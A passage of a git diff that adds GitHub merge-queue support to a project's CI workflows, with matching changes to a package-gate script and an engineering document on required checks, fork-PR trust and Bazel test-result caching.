FORK: ${{ github.event.pull_request.head.repo.fork == true }} DEPENDABOT: ${{ github.actor == 'dependabot[bot]' }} run: | - for v in RETIRED_EMBEDDED RETIRED_DOLT_SERVER RETIRED_PR_LANES COVERS_FORKS PULL_REQUEST FORK DEPENDABOT; do + for v in RETIRED_EMBEDDED RETIRED_DOLT_SERVER RETIRED_PR_LANES COVERS_FORKS PULL_REQUEST MERGE_GROUP FORK DEPENDABOT; do case "${!v}" in true|false) ;; *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; @@ -146,9 +157,16 @@ jobs: done # Covered: the Bazel lanes are this run's only run of the retired # tiers. Same-repo PRs (the CI secrets); fork and Dependabot PRs - # too while BAZEL_COVERS_FORKS is "true". + # too while BAZEL_COVERS_FORKS is "true"; and every merge group: it + # runs on the queue's gh-readonly-queue/* branch of this repository + # with the CI secrets, its actor is github-merge-queue[bot] (never + # Dependabot), and bazel.yml's rbe job takes mode remote for it + # like for a same-repo PR, so a missing secret or the farm switch + # off turns pr.yml's gate red rather than dropping a tier. covered=false - if [ "$PULL_REQUEST" = true ]; then + if [ "$MERGE_GROUP" = true ]; then + covered=true + elif [ "$PULL_REQUEST" = true ]; then if [ "$FORK" = false ] && [ "$DEPENDABOT" = false ]; then covered=true elif [ "$COVERS_FORKS" = true ]; then @@ -172,7 +190,7 @@ jobs: echo "dolt_server=$dolt_server" echo "pr_lanes=$pr_lanes" } >> "$GITHUB_OUTPUT" - echo "Legacy tiers retired in favour of the Bazel lanes: embedded Dolt **$embedded**, proxied and server Dolt **$dolt_server**, pr.yml's PR Core/build/pure-Go/domain+uow/contract jobs **$pr_lanes** (pull_request: $PULL_REQUEST, fork: $FORK, dependabot: $DEPENDABOT, forks covered: $COVERS_FORKS, retired embedded: $RETIRED_EMBEDDED, retired proxied/server: $RETIRED_DOLT_SERVER, retired pr.yml jobs: $RETIRED_PR_LANES)" | tee -a "$GITHUB_STEP_SUMMARY" + echo "Legacy tiers retired in favour of the Bazel lanes: embedded Dolt **$embedded**, proxied and server Dolt **$dolt_server**, pr.yml's PR Core/build/pure-Go/domain+uow/contract jobs **$pr_lanes** (pull_request: $PULL_REQUEST, merge_group: $MERGE_GROUP, fork: $FORK, dependabot: $DEPENDABOT, forks covered: $COVERS_FORKS, retired embedded: $RETIRED_EMBEDDED, retired proxied/server: $RETIRED_DOLT_SERVER, retired pr.yml jobs: $RETIRED_PR_LANES)" | tee -a "$GITHUB_STEP_SUMMARY" # End-to-end coverage for proxied-server CLI subcommands, sharded across the # CI matrix. Each sub-test drives the bd CLI subprocess against a real dolt diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index f04380929..4adf3084c 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -6,7 +6,15 @@ on: # the release branch, not on main. Without it they run almost no CI and the # first full signal is the tag build, where a failure burns the tag. branches: [ main, 'release/**', 'hotfix/**' ] + # Merge queue (engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "Merge Queue"): + # the ruleset's required gate must also report on each queue entry's + # merge-group commit, or a queued PR waits until the queue times it out. + # checks_requested is the queue asking for those checks; pinned + # explicitly (scripts/ci_merge_queue_test.go). The concurrency group + # below keys a merge group on its own gh-readonly-queue/* ref, so queue + # runs never cancel each other or a PR's own runs. merge_group: + types: [ checks_requested ] concurrency: group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.ref }} @@ -16,7 +24,7 @@ env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" # D2: "true" retires a PR Risk legacy tier on same-repo, non-Dependabot - # pull_requests; pr.yml's gated Bazel lane(s) for it are then the tier's + # pull_requests and on merge groups (merge queue); pr.yml's gated Bazel lane(s) for it are then the tier's # only pre-merge run, and pr.yml's gate goes red unless they ran remotely # and passed. Committed, not repo variables, so a re-run can never change # them; each must equal pr.yml's / pr-risk.yml's copy @@ -69,7 +77,8 @@ env: jobs: # D2 step 3: stands down where bazel-coverage says pr_lanes (same-repo, - # non-Dependabot PRs while BAZEL_RETIRES_LEGACY_PR_LANES is "true"): its + # non-Dependabot PRs and merge groups while BAZEL_RETIRES_LEGACY_PR_LANES + # is "true"): its # consumers then stand down too. F3: the package gates (package-mcp, # package-npm) are no longer among those consumers - they moved into # bazel.yml and build their own bd (Bazel-built on same-repo PRs, `go @@ -204,15 +213,23 @@ jobs: run: ./scripts/check-migration-hygiene.sh # Fast check to catch accidental .beads/issues.jsonl changes from - # contributors. pull_request-only, same as before the fold: merge_group - # has no base_ref to diff against, so the step (and therefore this - # token) is skipped there, and merge_group's CI_GATE_SKIPPED_OK - # allow-lists exactly that skip below. + # contributors. Runs on both PR triggers: a pull_request diffs against + # origin/ (GITHUB_BASE_REF), a merge group (which has no + # base_ref) against the queue's merge_group.base_sha, the commit the + # group's head is built on (fetch-depth 0 above fetches it). - name: Check for .beads/issues.jsonl changes id: no-beads-changes - if: ${{ !cancelled() && github.event_name == 'pull_request' }} + if: ${{ !cancelled() }} + env: + MERGE_GROUP_BASE_SHA: ${{ github.event.merge_group.base_sha }} run: | - if git diff --name-only origin/${{ github.base_ref }}...HEAD | grep -q "^\.beads/issues\.jsonl$"; then + base="${MERGE_GROUP_BASE_SHA:-origin/${GITHUB_BASE_REF:-main}}" + # Fail closed: a pipe into grep -q would pass on a failed diff. + if ! git rev-parse --verify --quiet "$base^{commit}" >/dev/null; then + echo "::error::diff base $base is unavailable" + exit 1 + fi + if git diff --name-only "$base"...HEAD | grep -q "^\.beads/issues\.jsonl$"; then echo "This PR includes changes to .beads/issues.jsonl" echo "" echo "This file is the project's issue database and should not be modified in PRs." @@ -854,6 +871,12 @@ jobs: - name: Validate docs against CLI env: DOC_DRIFT_PATCH_OUT: ${{ runner.temp }}/cli-docs-freshness.patch + # Merge queue: a merge group has no GITHUB_BASE_REF, and without a + # diff base check-cli-docs-drift.sh fails on any drift, including + # drift already on main that the PR run attributed away, which + # would eject every queued PR. Diff against the queue's base + # commit instead (empty on pull_request: origin/$GITHUB_BASE_REF). + BD_DOCS_DIFF_BASE: ${{ github.event.merge_group.base_sha }} run: | ./scripts/check-doc-flags.sh ./bd ./scripts/check-doc-freshness.sh @@ -2270,8 +2293,8 @@ jobs: # (PR Core, build-artifacts, the pure-Go/js-wasm check, domain+uow and # contract corpus, and pr-risk.yml's embedded-Dolt, proxied-server and # server-Dolt storage tiers), all of which stay required ids, but stand - # down on same-repo PRs with a non-Dependabot actor while their D2 flag - # is "true" (bazel-coverage): pr-risk.yml's embedded-Dolt test jobs + # down on same-repo PRs with a non-Dependabot actor, and on merge groups, + # while their D2 flag is "true" (bazel-coverage): pr-risk.yml's embedded-Dolt test jobs # (BAZEL_RETIRES_LEGACY_EMBEDDED, step 1), its proxied-server and # server-Dolt storage test jobs (BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS, # step 2), and this workflow's PR Core, build-artifacts, pure-Go/js-wasm, @@ -2285,8 +2308,10 @@ jobs: # proxied or server-storage lane) or skip, and exports that for ci-gate. # Its bazel-integration lane (main.yml's integration jobs, which run only # on push to main) is on and required here in modes remote and cache: - # same-repo PRs run it remotely, fork and Dependabot PRs locally with the - # read-only cache. Its bd artifact is renamed + # same-repo PRs and merge groups run it remotely, fork and Dependabot PRs + # locally with the read-only cache. Test results are cached: a PR or + # merge group re-runs only tests whose inputs changed (nightly re-runs + # everything; .bazelrc test:fresh). Its bd artifact is renamed # (bazel-ci-build-artifacts) so it cannot collide with build-artifacts' # upload. F3: the package gates build their own bd (via this call's rbe # job) and do not consume this artifact; it is kept for the F3.5.3 @@ -2352,10 +2377,11 @@ jobs: RETIRED_PR_LANES: ${{ env.BAZEL_RETIRES_LEGACY_PR_LANES == 'true' }} COVERS_FORKS: ${{ env.BAZEL_COVERS_FORKS == 'true' }} PULL_REQUEST: ${{ github.event_name == 'pull_request' }} + MERGE_GROUP: ${{ github.event_name == 'merge_group' }} FORK: ${{ github.event.pull_request.head.repo.fork == true }} DEPENDABOT: ${{ github.actor == 'dependabot[bot]' }} run: | - for v in RETIRED_EMBEDDED RETIRED_DOLT_SERVER RETIRED_PR_LANES COVERS_FORKS PULL_REQUEST FORK DEPENDABOT; do + for v in RETIRED_EMBEDDED RETIRED_DOLT_SERVER RETIRED_PR_LANES COVERS_FORKS PULL_REQUEST MERGE_GROUP FORK DEPENDABOT; do case "${!v}" in true|false) ;; *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; @@ -2363,9 +2389,16 @@ jobs: done # Covered: the Bazel lanes are this run's only run of the retired # tiers. Same-repo PRs (the CI secrets); fork and Dependabot PRs - # too while BAZEL_COVERS_FORKS is "true". + # too while BAZEL_COVERS_FORKS is "true"; and every merge group: it + # runs on the queue's gh-readonly-queue/* branch of this repository + # with the CI secrets, its actor is github-merge-queue[bot] (never + # Dependabot), and bazel.yml's rbe job takes mode remote for it + # like for a same-repo PR, so a missing secret or the farm switch + # off turns pr.yml's gate red rather than dropping a tier. covered=false - if [ "$PULL_REQUEST" = true ]; then + if [ "$MERGE_GROUP" = true ]; then + covered=true + elif [ "$PULL_REQUEST" = true ]; then if [ "$FORK" = false ] && [ "$DEPENDABOT" = false ]; then covered=true elif [ "$COVERS_FORKS" = true ]; then @@ -2389,7 +2422,7 @@ jobs: echo "dolt_server=$dolt_server" echo "pr_lanes=$pr_lanes" } >> "$GITHUB_OUTPUT" - echo "Legacy tiers retired in favour of the Bazel lanes: embedded Dolt **$embedded**, proxied and server Dolt **$dolt_server**, pr.yml's PR Core/build/pure-Go/domain+uow/contract jobs **$pr_lanes** (pull_request: $PULL_REQUEST, fork: $FORK, dependabot: $DEPENDABOT, forks covered: $COVERS_FORKS, retired embedded: $RETIRED_EMBEDDED, retired proxied/server: $RETIRED_DOLT_SERVER, retired pr.yml jobs: $RETIRED_PR_LANES)" | tee -a "$GITHUB_STEP_SUMMARY" + echo "Legacy tiers retired in favour of the Bazel lanes: embedded Dolt **$embedded**, proxied and server Dolt **$dolt_server**, pr.yml's PR Core/build/pure-Go/domain+uow/contract jobs **$pr_lanes** (pull_request: $PULL_REQUEST, merge_group: $MERGE_GROUP, fork: $FORK, dependabot: $DEPENDABOT, forks covered: $COVERS_FORKS, retired embedded: $RETIRED_EMBEDDED, retired proxied/server: $RETIRED_DOLT_SERVER, retired pr.yml jobs: $RETIRED_PR_LANES)" | tee -a "$GITHUB_STEP_SUMMARY" ci-gate: name: CI Gate / Required @@ -2538,9 +2571,6 @@ jobs: BAZEL_COVERS_PR_LANES: ${{ needs.bazel-coverage.outputs.pr_lanes }} run: | skipped_ok="" - if [[ "$GITHUB_EVENT_NAME" == "merge_group" ]]; then - skipped_ok="CHECK_NO_BEADS_CHANGES" - fi # F4 side-by-side rollout: WINDOWS_PREBUILT_REQUIRED (top of this # file) flips which pair of Windows jobs ci-gate enforces with a # single committed flag, instead of three edits per job diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index aa34e924a..51bd82a8c 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -177,10 +177,11 @@ the `bazel` call) and `PR Risk Gate / Required` (`pr-risk.yml`). PR Risk's gate job was renamed from `CI Gate / Required` to `PR Risk Gate / Required` (#6939), so the two required contexts are distinct; before that both workflows reported the same check name. Organization admins and one team -may bypass it. There is no merge queue (no `merge_queue` rule, and no -`merge_group` run has ever happened), so the checks run on `pull_request` -only, and the ruleset does not require branches to be up to date -(strict off). The ruleset applies to the default branch only: PRs into +may bypass it. The ruleset has no `merge_queue` rule yet, so the checks +run on `pull_request` only, and the ruleset does not require branches to +be up to date (strict off). Both workflows are merge-queue ready (see +[Merge Queue](#merge-queue)): adding the queue rule is the only remaining +step. The ruleset applies to the default branch only: PRs into `release/**` run both workflows (and the Bazel lane), but neither gate is enforced there. @@ -480,6 +481,14 @@ its own pool from inside its own `bazel-test.yml` job, same-repo, with `github.token`; beads cannot use its own `GITHUB_TOKEN` against gascity's repository, so this job needs its own credential into gascity instead. +Merge queue caveat: a `merge_group` run executes the queued commit's +workflow files, so once a maintainer queues a fork PR, that PR's own edits +to `bazel.yml` or `pr.yml` (this job included) run with the shared +`bazel-allocator` key. The B1 protections below (inlined dispatch logic, +base-branch workflow, approval-gated workflow edits) hold only for runs of +the committed file. Review fork PRs' `.github/` changes before queueing +(see [Merge Queue](#merge-queue)). + **What it does.** A job of its own (not a step inside `rbe`, so it never delays the mode decision every lane waits on), gated on `needs.rbe.outputs.mode == 'remote'` only - the one mode whose lanes target @@ -615,8 +624,8 @@ would only be needed if maintainers still want exactly one required check. - Baseline aggregate candidate: `PR / CI Gate / Required` - Risk aggregate candidate: `PR Risk / PR Risk Gate / Required` - Source: GitHub Actions -- Required on: pull requests (and merge queue groups, if a queue is ever - added) targeting `main`; not on `release/**` +- Required on: pull requests and merge queue groups targeting `main`; not + on `release/**` Do not require these existing check names directly: @@ -676,6 +685,7 @@ on: pull_request: branches: [ main ] merge_group: + types: [ checks_requested ] ``` Do not add `paths`, `paths-ignore`, or narrower branch filters to `pr.yml` or @@ -775,8 +785,9 @@ Dolt test jobs, and `test-nix`. `failure` or `cancelled` result. It accepts `skipped` only for jobs that are intentionally absent for that event or risk tier: -- `CHECK_NO_BEADS_CHANGES=skipped` is acceptable on `merge_group` because the - job is PR-only. +- (Historical: `CHECK_NO_BEADS_CHANGES=skipped` was accepted on + `merge_group` while the step was PR-only. It now runs on `merge_group` + too, against `merge_group.base_sha`, and no skip of it is excused.) - In the risk aggregate, `BUILD_EMBEDDED` and the embedded, proxied and server Dolt test ids may be `skipped` when `FULL_EMBEDDED != true`. - In the risk aggregate, `TEST_EMBEDDED_STORAGE`, `TEST_EMBEDDED_CONFORMANCE` @@ -950,15 +961,14 @@ manifests. On those PRs they are the tiers' only pre-merge run, and tests with `go list`, not with PR Core's run, so it is unaffected; `nightly.yml` still runs PR Core's `go test -json` for the skip-parity check. - - `--config=sole-run` (`--nocache_test_results`, - `--experimental_remote_cache_eviction_retries=0`, the step 1 and 2 - hardening) is added to every `bazel test` of the three lanes wherever - they execute remotely (`BAZEL_SOLE_RUN`: modes `remote`, `fork-ro` and - `fork-rw`), which every covered PR runs in. Runs in modes `cache` and - `local`, whose legacy jobs still run, keep cached results, which keeps - their local runs short. Measured - 2026-10-02: `bazel test //... --config=ci --nocache_test_results` - remotely took 132 s (113 targets). + - `--config=sole-run` (`--experimental_remote_cache_eviction_retries=0`, + the step 1 and 2 hardening) is added to every `bazel test` of the three + lanes wherever they execute remotely (`BAZEL_SOLE_RUN`: modes `remote`, + `fork-ro` and `fork-rw`), which every covered PR runs in. It used to + carry `--nocache_test_results` too; test results are now cached on every + run but nightly's (see [Merge Queue](#merge-queue), "Test result + caching"). Measured 2026-10-02: `bazel test //... --config=ci + --nocache_test_results` remotely took 132 s (113 targets). - Pinned for step 3 (`scripts/pr_lanes_bazel_coverage_test.go`): the three lanes' Bazel steps and the `prcore`, `ci`, `doltserver`, `pure`, `js-wasm` and `sole-run` rc lines exactly; no other rc line of a config @@ -996,10 +1006,15 @@ manifests. On those PRs they are the tiers' only pre-merge run, and - Dependabot PRs, likewise (no Actions secrets; `github.actor`, unlike `github.triggering_actor`, stays `dependabot[bot]` when someone else re-runs them); - - every `merge_group` run (there is no merge queue today, so this is not - a pre-merge net); - every PR while that step's flag is `"false"`. + Every `merge_group` run (merge queue) is covered like a same-repo PR: it + runs on this repository's `gh-readonly-queue/*` branch with the CI + secrets, its actor is `github-merge-queue[bot]`, and `bazel.yml`'s `rbe` + job takes mode `remote` for it, so the Bazel lanes are the queue entry's + only run of each retired tier and `CI Gate / Required` is red unless they + ran remotely and passed (see [Merge Queue](#merge-queue)). + `main.yml`'s embedded and proxied jobs on push to `main` are untouched. - How: - `pr-risk.yml` and `pr.yml` each run the identical `bazel-coverage` job @@ -1060,18 +1075,21 @@ manifests. On those PRs they are the tiers' only pre-merge run, and - Enforcement scope: the beads-only ruleset requires both gates on the default branch (`main`) only. On PRs into `release/**` both workflows run and report, but merging does not wait for them, before or after this - change. There is no merge queue and `strict` is off, so no + change. Without the merge queue rule and with `strict` off, no pre-merge run catches a gap; only `main.yml`'s embedded and proxied jobs and `bazel.yml`'s push run do, after merge (`main.yml` has no server-Dolt storage jobs; `bazel.yml`'s push run covers that tier). - Lane hardening that the retirement relies on, for `bazel-embedded`, `bazel-proxied` and `bazel-server-storage` alike (policy-tested in `scripts/ci_workflow_test.go` and `scripts/pr_risk_bazel_coverage_test.go`): - - `--nocache_test_results` in `test:embedded`, `test:doltserver-proxied` - and `test:doltserver-integration`: every run executes every test, like - the legacy `-test.count=1` jobs, so a stale or poisoned entry in the - shared farm action cache cannot stand in for a run. Nothing else in - `.bazelrc` sets test result caching except `test:docker` (also off). + - Test result caching: originally `--nocache_test_results` in + `test:embedded`, `test:doltserver-proxied` and + `test:doltserver-integration` (every run executed every test, like the + legacy `-test.count=1` jobs). Since merge queue readiness these lanes + cache results like every other lane, and nightly's `--config=fresh` + re-executes every test once a day (see [Merge Queue](#merge-queue), + "Test result caching"). Only `test:docker` and `test:fresh` set result + caching in `.bazelrc`. - No retries: no `--flaky_test_attempts` or `--runs_per_test_detects_flakes` anywhere, and no `flaky =` other than a literal `False`. Each lane also runs @@ -1084,8 +1102,8 @@ manifests. On those PRs they are the tiers' only pre-merge run, and By default (5) Bazel re-runs the entire `bazel test` invocation when an input was evicted from the remote cache ("Lost inputs ... Found transient remote cache error, retrying the build"), and that exit code - outranks a test failure. With `--keep_going` and - `--nocache_test_results`, a test that failed in the first attempt is + outranks a test failure. With `--keep_going` (and a failed test, which + is never served from the cache), a test that failed in the first attempt is then executed again and only the retry's result (and BEP) is reported, so a flaky failure could turn green. With 0, an eviction fails the step instead; "Re-run failed jobs" retries it visibly. Reproduced against a @@ -1172,9 +1190,10 @@ scope, not this slice's. the whole job is lost before any step reports, the five per-check tokens all read `skipped` (not `skipped_ok`, so the gate still reds), but `FAST_CHECKS` gives `ci-gate.sh` one clear line naming the job instead of five confusing - ones. `TestPRCIGateFastChecksTokens` pins the whole mapping, including - `CHECK_NO_BEADS_CHANGES`'s `pull_request`-only step `if:` and its - `merge_group` entry in `CI_GATE_SKIPPED_OK`, both unchanged by the fold. + ones. `TestPRCIGateFastChecksTokens` pins the whole mapping. (The fold + kept `CHECK_NO_BEADS_CHANGES`'s `pull_request`-only step `if:` and its + `merge_group` entry in `CI_GATE_SKIPPED_OK`; merge queue readiness later + made the step run on `merge_group` too and dropped that entry.) - **Cross-compilation 8 → 2.** `check-release-target-cross-compilation`'s eight per-target matrix legs (one `go build` each) became two legs (`unix`, `desktop`) driven by `scripts/ci/release-targets.txt`, a @@ -1318,26 +1337,191 @@ inside the required topology. Do not require matrix-expanded matrix into one job per 5-version chunk; the per-chunk job name changed but the "do not require individually" guidance is unchanged). -## Merge Queue Behavior +## Merge Queue -Required aggregate checks must be reported for `merge_group`. -Otherwise, GitHub can enqueue a PR and then fail to merge because the required -check was never reported for the synthetic merge group commit. +`pr.yml` and `pr-risk.yml` run on `merge_group` (`types: [ +checks_requested ]`) and report `CI Gate / Required` and `PR Risk Gate / +Required` on each queue entry's merge-group commit, so the ruleset's two +required contexts work unchanged once the queue rule is on. +`scripts/ci_merge_queue_test.go` simulates a `merge_group` run through the +shared `evalGHExpr` evaluator and the workflows' own step scripts. + +### Queueing a PR + +```bash +gh pr merge --auto --squash --repo gastownhall/beads +``` + +On a green PR this adds it to the queue; while the PR's own required +checks are still running, `--auto` queues it once they pass (this needs +the repository's "Allow auto-merge" setting). The queue's own merge +method (squash) decides how it lands. `gh pr merge +--disable-auto` (or "Remove from queue" in the UI) takes it out; `--admin` +(bypass actors only) merges directly, skipping the queue. + +Planned queue settings (`merge_queue` rule in the `beads main: required +CI gates` ruleset): merge method `SQUASH`, grouping strategy `ALLGREEN`, +`max_entries_to_merge` 5, `max_entries_to_build` 3, `min_entries_to_merge` +1, `min_entries_to_merge_wait_minutes` 2 (it only delays merging while +fewer than `min_entries_to_merge` entries are queued, so at 1 it never +waits), `check_response_timeout_minutes` 60. A same-repo `pr.yml` run takes +about 10-11 minutes today. The build limit (3) and the timeout (60) leave +headroom while the farm scales from zero, so a backlog does not time +entries out and set off a rebuild cascade. Watch the first days' +`merge_group` durations before raising the build limit. The required status checks +stay exactly `CI Gate / Required` and `PR Risk Gate / Required` (GitHub +Actions). + +### What runs on a merge group + +Each queue entry gets a commit on `gh-readonly-queue/main/pr--`: +`main` plus every PR ahead of it in the queue plus this PR. Both +workflows run on that commit like a same-repo PR: + +- Trust: same repository, CI secrets present, actor + `github-merge-queue[bot]`. Every Blacksmith ternary names + `merge_group` explicitly, `bazel.yml`'s `rbe` job takes mode `remote` + (never asks rbe-fork), and `rbe-prewarm` runs (mode `remote`). + A merge group runs the workflow files and scripts of the queued commit, + not of `main`, and no approval gate applies. A queued fork PR's own edits + to `.github/`, `.bazelrc`, `tools/bazel/`, `MODULE.bazel`, BUILD files or + `scripts/ci/` therefore run with every CI secret: the RBE client + certificate and the shared `bazel-allocator` app key (rbe-prewarm). They + run even if the entry is later ejected and never merges. A queued + Dependabot PR likewise runs with the Actions secrets. That is the trust + of merging (a push to `main` would run the same code). **Maintainer + rule: review a fork PR's changes to those paths before queueing it, + exactly as before merging.** A ruleset `pull_request` rule (1 approval, + approval of the most recent push) would enforce a review before queueing. + That decision is pending. +- D2: `bazel-coverage` covers every merge group, so the retired legacy + tiers (embedded, proxied/server Dolt, pr.yml's PR Core/build/pure-Go/ + domain+uow/contract jobs) stay retired and the gate requires their + Bazel lanes to have run remotely and passed. With the farm switch off + (mode `skip`) or a missing executor secret (mode `cache`) the gate is + red, exactly as on a same-repo PR: turn the flags off first (runbook in + [Current State](#current-state)). +- `bazel-cmd-dolt` (required while `BAZEL_CMD_DOLT_REQUIRED` is `"true"`), + `bazel-integration`, the package gates and the F4 prebuilt Windows pair + run as on a PR. `detect-ci-tier` reports full embedded coverage (moot + while the tiers are retired). +- Diff bases: a merge group has no `pull_request` payload and no + `base_ref`. The migration-hygiene `BASE_SHA`, the package gates' + `PR_BASE_SHA`/`PR_HEAD_SHA`, the `.beads/issues.jsonl` guard and the + CLI-docs drift attribution (`BD_DOCS_DIFF_BASE`; without a base it would + fail every entry on drift already on `main`) fall back to + `github.event.merge_group.base_sha`/`head_sha`; every other + `github.event.pull_request.*` read is classified in + `TestMergeQueuePullRequestFieldsHandleMergeGroup` (null is correct + there: fork facts, the rbe-fork PR number, autofix metadata). With + ALLGREEN every entry must pass, so each entry's own diff from its base + commit is enough (the base is `main` or the entry ahead of it). With + HEADGREEN only the batch head would have to pass and a path-filtered + package gate could miss an earlier entry's change: keep ALLGREEN. +- Concurrency: groups key on `github.event.pull_request.number || + github.ref`, and a merge group's ref is its own queue branch, so queue + entries never cancel each other or the PR's own runs. `bazel.yml` never + cancels in progress for a merge group. +- Autofix: `bazel-autofix.yml` and `docs-autofix.yml` act only on + `pull_request` runs; a red merge group never gets an autofix push. + +### Test result caching + +Bazel lanes rerun only what changed. Test results are cached (read and +written, Bazel's default) on every run except nightly's: on a PR (any +attempt), a merge group and a push to `main` alike. A test whose action key +(test binary, runfiles, test env, platform) is unchanged reuses the PASS +the farm recorded for it; a test whose inputs changed runs. The PR's own +run seeds the cache, so a merge group re-runs only the tests the merge +changed (on a fresh base, those depending on what landed in between). +`nightly.yml` passes `fresh-test-results: true`, so every `bazel test` in +`bazel.yml` appends `--config=fresh` (`--nocache_test_results`) last, and +the whole suite re-executes once a day. A dispatch of `bazel.yml` can ask +for the same. + +This replaces the D2 rule "always execute" (`--nocache_test_results` in the +retired tiers' configs and `sole-run`, parity with the legacy +`-test.count=1` jobs, review F2). That rule also stopped Bazel *writing* +results, so nothing could ever be reused. Why caching is safe: + +- A cached PASS is valid for identical inputs: these targets are hermetic + (dolt and every input are runfiles). The docker-backed lane, whose + result depends on host state outside the key, keeps + `--nocache_test_results` and is dispatch-only. +- A cached failure is never reused: Bazel treats a failed cached action + as a miss, so whatever failed before runs again. +- Poisoning is bounded: only rbe-west's workers write the action cache + (client writes are refused, forks are read-only), so a cached PASS is a + real remote execution, and anyone able to run a same-repo branch already + holds the CI certificate (accepted risk in `bazel.yml`'s header). +- What is given up is re-sampling a nondeterministic (-race, timing) test + on unchanged inputs between nightlies. A flaky test fails at most once + per change before it is cached as passing, and nightly samples + everything again. +- No retries were added: `--experimental_remote_cache_eviction_retries=0` + (retired tiers' configs and `sole-run`) and the no-`flaky_test_attempts` + policy are unchanged. + +To confirm reuse on the farm, count `testResult` events with +`cachedRemotely` in the BEP of the first few merge-group runs. The same +check shows that `test.xml` is downloaded for cache hits, which +`equivalence.py`, `check_testcases.py` and the pure-Go lane's test-count +check read. + +Non-Bazel required jobs re-run in full on every merge group (approximate +PR timings, 2026-10): `fast-checks` (~40 s), `pr-policy-wrapper` +(~2.5 min), `scripts-go-checks` (3 legs, up to ~3.5 min), `pr-lint-wrapper` +(native/darwin/windows, up to ~4 min), `check-doc-flags` (~1.7 min), +`check-doc-freshness-platforms` and `pr-preflight-platforms` (Linux, +Windows and macOS legs, up to ~5 min on Windows), +`check-release-target-cross-compilation` (~5 min), +`test-dolt-server-fingerprint` (~1 min), `windows-make-shell` (~2.7 min), +`windows-test-binaries` plus the prebuilt Windows pair (~7 min end to +end), the advisory native Windows pair (~5 min; the gate waits for them), +`test-nix` (~3 min) and the package gates (seconds unless their paths +changed). None caches results the way Bazel does; most are cheap or +already path- or tier-gated. Candidates to skip on `merge_group`, not +done here: the advisory native Windows pair (`test-windows-liveness`, +`worktree-remove-windows`, advisory while `WINDOWS_PREBUILT_REQUIRED` is +`"true"`), and the macOS legs of the preflight/doc-freshness matrices +(platform behavior the PR run already checked on the same inputs). With +result reuse the merge group's critical path is the Windows +cross-compile and the Windows matrix legs (~5-7 min), not the Bazel +lanes once their tests are cached. An entry's first build after a base +change still compiles what changed. + +### Failures and flakes + +A red required gate on an entry ejects that PR from the queue (GitHub +comments on it); every entry behind it is rebuilt without it and re-runs. +With ALLGREEN a batch merges only when every entry in it is green. A +flake therefore costs the flaky PR its place and re-runs everything +behind it; re-queue the PR (`gh pr merge --auto --squash` again). A +re-queued entry on unchanged inputs reuses its Bazel lanes' passing +results, so the retry re-runs the failed tests and the non-Bazel jobs; a +reused PASS cannot hide a failure, because failures are never cached. The +same holds for "Re-run jobs" on a PR: passing tests are not re-executed. +To re-sample a suspected flake on unchanged inputs, dispatch `bazel.yml` +on the branch with `fresh-test-results` checked. Runs of queue entries +that were invalidated (an entry ahead was ejected) keep running to +completion and use farm capacity; plan the build limit with that in mind. +The 60-minute check timeout ejects an entry whose gates never report; +both gates normally finish in about 10-15 minutes. + +Rollback: delete the `merge_queue` rule from the ruleset. Queued PRs fall +back to the normal merge button; the `merge_group` triggers are inert +without a queue. Policy for `merge_group`: -- `PR` and `PR Risk` must include `merge_group`. -- `detect-ci-tier` should keep treating `merge_group` as full embedded coverage. -- There is no merge queue today (see Current State), so these runs are not a - pre-merge safety net for anything PRs skip; in particular they are not one - for the retired legacy tiers (D2). `merge_group` keeps those tiers only - so a queue added later starts with full coverage. +- `PR` and `PR Risk` must include `merge_group` (`checks_requested`), and + no job or step condition in them may key on the event: decisions belong + in detector jobs (`TestMergeQueueRequiredGatesRunOnMergeGroup`). - Any risk detector added to the required topology should default to run on `merge_group`, because the merge group commit may combine individually safe PRs into a risky integration state. -- The aggregate gate should evaluate the merge group results exactly like PR - results, except PR-only hygiene checks such as `Check for .beads changes` may - be skipped by design. +- The aggregate gates evaluate merge group results exactly like PR results; + no skip is excused for `merge_group` alone. ## Initial Rollout Snapshot diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index f7aa0b8cb..a7be32561 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -34,6 +34,7 @@ go_test( "ci_capability_selector_test.go", "ci_f7b_review_test.go", "ci_f7c_advisory_test.go", + "ci_merge_queue_test.go", "ci_workflow_apt_get_timeout_test.go", "ci_workflow_test.go", "complexity_script_test.go", diff --git a/scripts/ci/detect-package-gates.sh b/scripts/ci/detect-package-gates.sh index 4ff5d0b3f..8f341629f 100755 --- a/scripts/ci/detect-package-gates.sh +++ b/scripts/ci/detect-package-gates.sh @@ -56,12 +56,20 @@ case "$event_name" in fi ;; merge_group) - if git rev-parse --verify --quiet HEAD^ >/dev/null; then - if ! changed_files="$(git diff --name-only HEAD^ HEAD)"; then - run_all "merge-group diff failed; running all package gates" - fi - else - run_all "merge-group parent unavailable; running all package gates" + # PR_BASE_SHA/PR_HEAD_SHA carry merge_group.base_sha/head_sha here: + # the commit the queue entry is built on and the entry itself. Not + # HEAD^: a rebase-method queue entry stacks every commit of the PR, + # so its first parent would hide all but the last one. With the + # ALLGREEN grouping strategy every entry of a batch is checked, so + # each entry's own diff is enough. (With SQUASH, HEAD^ already was + # base_sha; this matters for the merge and rebase methods.) As with + # PR-time path filtering, entry N's gate does not re-test entry + # N-1's package change combined with N's; N-1's own run tested it. + if [[ -z "$pr_base_sha" || -z "$pr_head_sha" ]]; then + run_all "merge-group diff bounds unavailable; running all package gates" + fi + if ! changed_files="$(git diff --name-only "$pr_base_sha" "$pr_head_sha")"; then + run_all "merge-group diff failed; running all package gates" fi ;; *) diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index 2e4688004..651f41499 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -2,6 +2,8 @@ package scripts_test import ( "fmt" + "math" + "strconv" 